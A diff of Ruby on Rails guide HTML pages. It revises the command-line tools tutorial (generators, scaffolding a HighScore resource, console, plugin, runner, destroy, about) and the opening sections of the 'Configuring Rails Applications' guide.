+<div class="paragraph"><p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong> for you&#8201;&#8212;&#8201;necessary for the darn thing to work, but not necessary for you to spend time writing. That&#8217;s what we have computers for, right?</p></div>
+<div class="paragraph"><p>Let&#8217;s make our own controller with the controller generator. But what command should we use? Let&#8217;s ask the generator:</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can try the command without any parameters (like <tt>rails</tt> or <tt>./script/generate</tt>). For others, you can try adding <tt>&#8212;help</tt> or <tt>-h</tt> to the end, as in <tt>./script/server &#8212;help</tt>.</td>
+<td class="content">All Rails console utilities have help text. As with most *NIX utilities, you can try adding <tt>--help</tt> or <tt>-h</tt> to the end, for example <tt>./script/server --help</tt>.</td>
</tr></table>
</div>
<div class="listingblock">
@@ -407,9 +248,8 @@ Modules Example<span style="color: #990000">:</span>
Controller<span style="color: #990000">:</span> app/controllers/admin/credit_card_controller<span style="color: #990000">.</span>rb
Views<span style="color: #990000">:</span> app/views/admin/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
Helper<span style="color: #990000">:</span> app/helpers/admin/credit_card_helper<span style="color: #990000">.</span>rb
- Test<span style="color: #990000">:</span> test/functional/admin/credit_card_controller_test<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>Ah, the controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let's make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p></div>
+ Test<span style="color: #990000">:</span> test/functional/admin/credit_card_controller_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
+<div class="paragraph"><p>Ah, the controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let&#8217;s make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -423,10 +263,9 @@ http://www.gnu.org/software/src-highlite -->
create app/controllers/greetings_controller<span style="color: #990000">.</span>rb
create test/functional/greetings_controller_test<span style="color: #990000">.</span>rb
create app/helpers/greetings_helper<span style="color: #990000">.</span>rb
- create app/views/greetings/hello<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
-</tt></pre></div></div>
-<div class="para"><p>Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.</p></div>
-<div class="para"><p>Let's check out the controller and modify it a little (in <tt>app/controllers/greeting_controller.rb</tt>):</p></div>
+ create app/views/greetings/hello<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb</tt></pre></div></div>
+<div class="paragraph"><p>Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.</p></div>
+<div class="paragraph"><p>Let&#8217;s check out the controller and modify it a little (in <tt>app/controllers/greeting_controller.rb</tt>):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -437,27 +276,24 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@message</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Hello, how are you today? I am exuberant!"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then the view, to display our nice message (in <tt>app/views/greeting/hello.html.erb</tt>):</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Then the view, to display our nice message (in <tt>app/views/greeting/hello.html.erb</tt>):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>A Greeting for You!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>&lt;%= @message %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Deal. Go check it out in your browser. Fire up your server. Remember? <tt>./script/server</tt> at the root of your Rails application should do it.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>&lt;%= @message %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Deal. Go check it out in your browser. Fire up your server. Remember? <tt>./script/server</tt> at the root of your Rails application should do it.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>$ <span style="color: #990000">.</span>/script/server
-<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span>
-</tt></pre></div></div>
-<div class="para"><p>The URL will be <tt>http://localhost:3000/greetings/hello</tt>. I'll wait for you to be suitably impressed.</p></div>
+<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span></tt></pre></div></div>
+<div class="paragraph"><p>The URL will be <tt>http://localhost:3000/greetings/hello</tt>. I&#8217;ll wait for you to be suitably impressed.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -466,7 +302,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">With a normal, plain-old Rails application, your URLs will generally follow the pattern of <a href="http://(host)/(controller)/(action">http://(host)/(controller)/(action</a>), and a URL like <a href="http://(host)/(controller">http://(host)/(controller</a>) will hit the <strong>index</strong> action of that controller.</td>
</tr></table>
</div>
-<div class="para"><p>"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?</p></div>
+<div class="paragraph"><p>"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -488,26 +324,52 @@ Examples<span style="color: #990000">:</span>
`<span style="color: #990000">.</span>/script/generate model post title<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text published<span style="color: #990000">:</span>boolean`
- creates a Post model with a string title<span style="color: #990000">,</span> text body<span style="color: #990000">,</span> and published flag<span style="color: #990000">.</span>
-</tt></pre></div></div>
-<div class="para"><p>Let's set up a simple model called "HighScore" that will keep track of our highest score on video games we play. Then we'll wire up our controller and view to modify and list our scores.</p></div>
+ creates a Post model with a string title<span style="color: #990000">,</span> text body<span style="color: #990000">,</span> and published flag<span style="color: #990000">.</span></tt></pre></div></div>
+<div class="paragraph"><p>But instead of generating a model directly (which we&#8217;ll be doing later), let&#8217;s set up a scaffold. A <strong>scaffold</strong> in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.</p></div>
+<div class="paragraph"><p>Let&#8217;s set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate model HighScore id<span style="color: #990000">:</span>integer game<span style="color: #990000">:</span>string score<span style="color: #990000">:</span>integer
- exists app/models<span style="color: #990000">/</span>
- exists test/unit<span style="color: #990000">/</span>
- exists test/fixtures<span style="color: #990000">/</span>
- create app/models/high_score<span style="color: #990000">.</span>rb
- create test/unit/high_score_test<span style="color: #990000">.</span>rb
- create test/fixtures/high_scores<span style="color: #990000">.</span>yml
- create db/migrate
- create db/migrate<span style="color: #990000">/</span>20081126032945_create_high_scores<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>Taking it from the top, we have the <strong>models</strong> directory, where all of your data models live. <strong>test/unit</strong>, where all the unit tests live (gasp! &#8212; unit tests!), fixtures for those tests, a test, the <strong>migrate</strong> directory, where the database-modifying migrations live, and a migration to create the <tt>high_scores</tt> table with the right fields.</p></div>
-<div class="para"><p>The migration requires that we <strong>migrate</strong>, that is, run some Ruby code (living in that <tt>20081126032945_create_high_scores.rb</tt>) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the <tt>rake db:migrate</tt> command. We'll talk more about Rake in-depth in a little while.</p></div>
+<pre><tt>$ <span style="color: #990000">.</span>/script/generate scaffold HighScore game<span style="color: #990000">:</span>string score<span style="color: #990000">:</span>integer
+ exists app/models<span style="color: #990000">/</span>
+ exists app/controllers<span style="color: #990000">/</span>
+ exists app/helpers<span style="color: #990000">/</span>
+ create app/views/high_scores
+ create app/views/layouts<span style="color: #990000">/</span>
+ exists test/functional<span style="color: #990000">/</span>
+ create test/unit<span style="color: #990000">/</span>
+ create public/stylesheets<span style="color: #990000">/</span>
+ create app/views/high_scores/index<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+ create app/views/high_scores/show<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+ create app/views/high_scores/new<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+ create app/views/high_scores/edit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+ create app/views/layouts/high_scores<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+ create public/stylesheets/scaffold<span style="color: #990000">.</span>css
+ create app/controllers/high_scores_controller<span style="color: #990000">.</span>rb
+ create test/functional/high_scores_controller_test<span style="color: #990000">.</span>rb
+ create app/helpers/high_scores_helper<span style="color: #990000">.</span>rb
+ route map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>high_scores
+dependency model
+ exists app/models<span style="color: #990000">/</span>
+ exists test/unit<span style="color: #990000">/</span>
+ create test/fixtures<span style="color: #990000">/</span>
+ create app/models/high_score<span style="color: #990000">.</span>rb
+ create test/unit/high_score_test<span style="color: #990000">.</span>rb
+ create test/fixtures/high_scores<span style="color: #990000">.</span>yml
+ exists db/migrate
+ create db/migrate<span style="color: #990000">/</span>20081217071914_create_high_scores<span style="color: #990000">.</span>rb</tt></pre></div></div>
+<div class="paragraph"><p>Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the <tt>high_scores</tt> table and fields), takes care of the route for the <strong>resource</strong>, and new tests for everything.</p></div>
+<div class="paragraph"><p>The migration requires that we <strong>migrate</strong>, that is, run some Ruby code (living in that <tt>20081217071914_create_high_scores.rb</tt>) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the <tt>rake db:migrate</tt> command. We&#8217;ll talk more about Rake in-depth in a little while.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Hey. Install the sqlite3-ruby gem while you&#8217;re at it. <tt>gem install sqlite3-ruby</tt></td>
+</tr></table>
+</div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -518,40 +380,97 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #990000">==</span> CreateHighScores<span style="color: #990000">:</span> migrating <span style="color: #990000">===============================================</span>
-- create_table<span style="color: #990000">(:</span>high_scores<span style="color: #990000">)</span>
-<span style="color: #990000">&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">.</span>0070s
-<span style="color: #990000">==</span> CreateHighScores<span style="color: #990000">:</span> migrated <span style="color: #990000">(</span><span style="color: #993399">0</span><span style="color: #990000">.</span>0077s<span style="color: #990000">)</span> <span style="color: #990000">======================================</span>
-</tt></pre></div></div>
+<span style="color: #990000">==</span> CreateHighScores<span style="color: #990000">:</span> migrated <span style="color: #990000">(</span><span style="color: #993399">0</span><span style="color: #990000">.</span>0077s<span style="color: #990000">)</span> <span style="color: #990000">======================================</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.</td>
+<td class="content">Let&#8217;s talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We&#8217;ll make one in a moment.</td>
</tr></table>
</div>
-<div class="para"><p>Yo! Let's shove a small table into our greeting controller and view, listing our sweet scores.</p></div>
+<div class="paragraph"><p>Let&#8217;s see the interface Rails created for us. ./script/server; <a href="http://localhost:3000/high_scores">http://localhost:3000/high_scores</a></p></div>
+<div class="paragraph"><p>We can create new high scores (55,160 on Space Invaders!)</p></div>
+<h3 id="_console">1.4. console</h3>
+<div class="paragraph"><p>The <tt>console</tt> command lets you interact with your Rails application from the command line. On the underside, <tt>script/console</tt> uses IRB, so if you&#8217;ve ever used it, you&#8217;ll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.</p></div>
+<h3 id="_dbconsole">1.5. dbconsole</h3>
+<div class="paragraph"><p><tt>dbconsole</tt> figures out which database you&#8217;re using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.</p></div>
+<h3 id="_plugin">1.6. plugin</h3>
+<div class="paragraph"><p>The <tt>plugin</tt> command simplifies plugin management; think a miniature version of the Gem utility. Let&#8217;s walk through installing a plugin. You can call the sub-command <strong>discover</strong>, which sifts through repositories looking for plugins, or call <strong>source</strong> to add a specific repository of plugins, or you can specify the plugin location directly.</p></div>
+<div class="paragraph"><p>Let&#8217;s say you&#8217;re creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn&#8217;t it be great if we could override the behavior of a model to never actually take its record out of the database, but <strong>instead</strong>, just set a field?</p></div>
+<div class="paragraph"><p>There is such a thing! The plugin we&#8217;re installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> GreetingController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> hello
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> request<span style="color: #990000">.</span>post?
- score <span style="color: #990000">=</span> HighScore<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>high_score<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> score<span style="color: #990000">.</span>save
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"New score posted!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="color: #009900">@scores</span> <span style="color: #990000">=</span> HighScore<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>XXX: Go with scaffolding instead, modifying greeting controller for high scores seems dumb.</p></div>
+<pre><tt>$ <span style="color: #990000">.</span>/script/plugin install http<span style="color: #990000">:</span>//svn<span style="color: #990000">.</span>techno-weenie<span style="color: #990000">.</span>net/projects/plugins/acts_as_paranoid
+<span style="color: #990000">+</span> <span style="color: #990000">.</span>/CHANGELOG
+<span style="color: #990000">+</span> <span style="color: #990000">.</span>/MIT-LICENSE
+<span style="color: #990000">...</span>
+<span style="color: #990000">...</span></tt></pre></div></div>
+<h3 id="_runner">1.7. runner</h3>
+<div class="paragraph"><p><tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/runner <span style="color: #FF0000">"Model.long_running_method"</span></tt></pre></div></div>
+<h3 id="_destroy">1.8. destroy</h3>
+<div class="paragraph"><p>Think of <tt>destroy</tt> as the opposite of <tt>generate</tt>. It&#8217;ll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/generate model Oops
+ exists app/models<span style="color: #990000">/</span>
+ exists test/unit<span style="color: #990000">/</span>
+ exists test/fixtures<span style="color: #990000">/</span>
+ create app/models/oops<span style="color: #990000">.</span>rb
+ create test/unit/oops_test<span style="color: #990000">.</span>rb
+ create test/fixtures/oops<span style="color: #990000">.</span>yml
+ exists db/migrate
+ create db/migrate<span style="color: #990000">/</span>20081221040817_create_oops<span style="color: #990000">.</span>rb
+$ <span style="color: #990000">.</span>/script/destroy model Oops
+ notempty db/migrate
+ notempty db
+ rm db/migrate<span style="color: #990000">/</span>20081221040817_create_oops<span style="color: #990000">.</span>rb
+ rm test/fixtures/oops<span style="color: #990000">.</span>yml
+ rm test/unit/oops_test<span style="color: #990000">.</span>rb
+ rm app/models/oops<span style="color: #990000">.</span>rb
+ notempty test/fixtures
+ notempty <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
+ notempty test/unit
+ notempty <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
+ notempty app/models
+ notempty app</tt></pre></div></div>
+<h3 id="_about">1.9. about</h3>
+<div class="paragraph"><p>Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application&#8217;s folder, the current Rails environment name, your app&#8217;s database adapter, and schema version! <tt>about</tt> is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/about
+About your application<span style="color: #FF0000">'s environment</span>
+<span style="color: #FF0000">Ruby version 1.8.6 (i486-linux)</span>
+<span style="color: #FF0000">RubyGems version 1.3.1</span>
+<span style="color: #FF0000">Rails version 2.2.0</span>
+<span style="color: #FF0000">Active Record version 2.2.0</span>
+<span style="color: #FF0000">Action Pack version 2.2.0</span>
+<span style="color: #FF0000">Active Resource version 2.2.0</span>
+<span style="color: #FF0000">Action Mailer version 2.2.0</span>
+<span style="color: #FF0000">Active Support version 2.2.0</span>
+<span style="color: #FF0000">Edge Rails revision unknown</span>
+<span style="color: #FF0000">Application root /home/commandsapp</span>
+<span style="color: #FF0000">Environment development</span>
+<span style="color: #FF0000">Database adapter sqlite3</span>
+<span style="color: #FF0000">Database schema version 20081217073400</span></tt></pre></div></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/configuring.html b/railties/doc/guides/html/configuring.html
index adc827c89a..3cd41f100e 100644
--- a/railties/doc/guides/html/configuring.html
+++ b/railties/doc/guides/html/configuring.html
@@ -1,253 +1,82 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Configuring Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Configuring Rails Applications</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_locations_for_initialization_code">Locations for Initialization Code</a>
- </li>
- <li>
- <a href="#_using_a_preinitializer">Using a Preinitializer</a>
- </li>
- <li>
- <a href="#_initialization_process_settings">Initialization Process Settings</a>
- </li>
- <li>
- <a href="#_configuring_rails_components">Configuring Rails Components</a>
- <ul>
-
- <li><a href="#_configuring_active_record">Configuring Active Record</a></li>
-
- <li><a href="#_configuring_action_controller">Configuring Action Controller</a></li>
-
- <li><a href="#_configuring_action_view">Configuring Action View</a></li>
-
- <li><a href="#_configuring_action_mailer">Configuring Action Mailer</a></li>
-
- <li><a href="#_configuring_active_resource">Configuring Active Resource</a></li>
-
- <li><a href="#_configuring_active_support">Configuring Active Support</a></li>
-
- <li><a href="#_configuring_active_model">Configuring Active Model</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_using_initializers">Using Initializers</a>
- </li>
- <li>
- <a href="#_using_an_after_initializer">Using an After-Initializer</a>
- </li>
- <li>
- <a href="#_rails_environment_settings">Rails Environment Settings</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Configuring Rails Applications</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_locations_for_initialization_code">Locations for Initialization Code</a>
+ </li>
+ <li>
+ <a href="#_using_a_preinitializer">Using a Preinitializer</a>
+ </li>
+ <li>
+ <a href="#_configuring_rails_components">Configuring Rails Components</a>
+ <ul>
+
+ <li><a href="#_configuring_active_record">Configuring Active Record</a></li>
+
+ <li><a href="#_configuring_action_controller">Configuring Action Controller</a></li>
+
+ <li><a href="#_configuring_action_view">Configuring Action View</a></li>
+
+ <li><a href="#_configuring_action_mailer">Configuring Action Mailer</a></li>
+
+ <li><a href="#_configuring_active_resource">Configuring Active Resource</a></li>
+
+ <li><a href="#_configuring_active_support">Configuring Active Support</a></li>
+
+ <li><a href="#_configuring_active_model">Configuring Active Model</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_using_initializers">Using Initializers</a>
+ </li>
+ <li>
+ <a href="#_using_an_after_initializer">Using an After-Initializer</a>
+ </li>
+ <li>
+ <a href="#_rails_environment_settings">Rails Environment Settings</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Configuring Rails Applications</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Adjust the behavior of your Rails applications
@@ -259,29 +88,73 @@ Add additional code to be run at application start time
</p>
</li>
</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed.</td>
+</tr></table>
+</div>
</div>
</div>
<h2 id="_locations_for_initialization_code">1. Locations for Initialization Code</h2>
<div class="sectionbody">
-<div class="para"><p>preinitializers
-environment.rb first
-env-specific files
-initializers (load_application_initializers)
-after-initializer</p></div>
+<div class="paragraph"><p>Rails offers (at least) five good spots to place initialization code:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+Preinitializers
+</p>
+</li>
+<li>
+<p>
+environment.rb
+</p>
+</li>
+<li>
+<p>
+Environment-specific Configuration Files
+</p>
+</li>
+<li>
+<p>
+Initializers (load_application_initializers)
+</p>
+</li>
+<li>
+<p>
+After-Initializers
+</p>
+</li>
+</ul></div>
</div>
<h2 id="_using_a_preinitializer">2. Using a Preinitializer</h2>
<div class="sectionbody">
+<div class="paragraph"><p>Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in <tt>RAILS_ROOT/config/preinitializer.rb</tt>, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.</p></div>
</div>
-<h2 id="_initialization_process_settings">3. Initialization Process Settings</h2>
-<div class="sectionbody">
-</div>
-<h2 id="_configuring_rails_components">4. Configuring Rails Components</h2>
+<h2 id="_configuring_rails_components">3. Configuring Rails Components</h2>
<div class="sectionbody">
-<h3 id="_configuring_active_record">4.1. Configuring Active Record</h3>
-<div class="para"><p><tt>ActiveRecord::Base</tt> includej a variety of configuration options:</p></div>
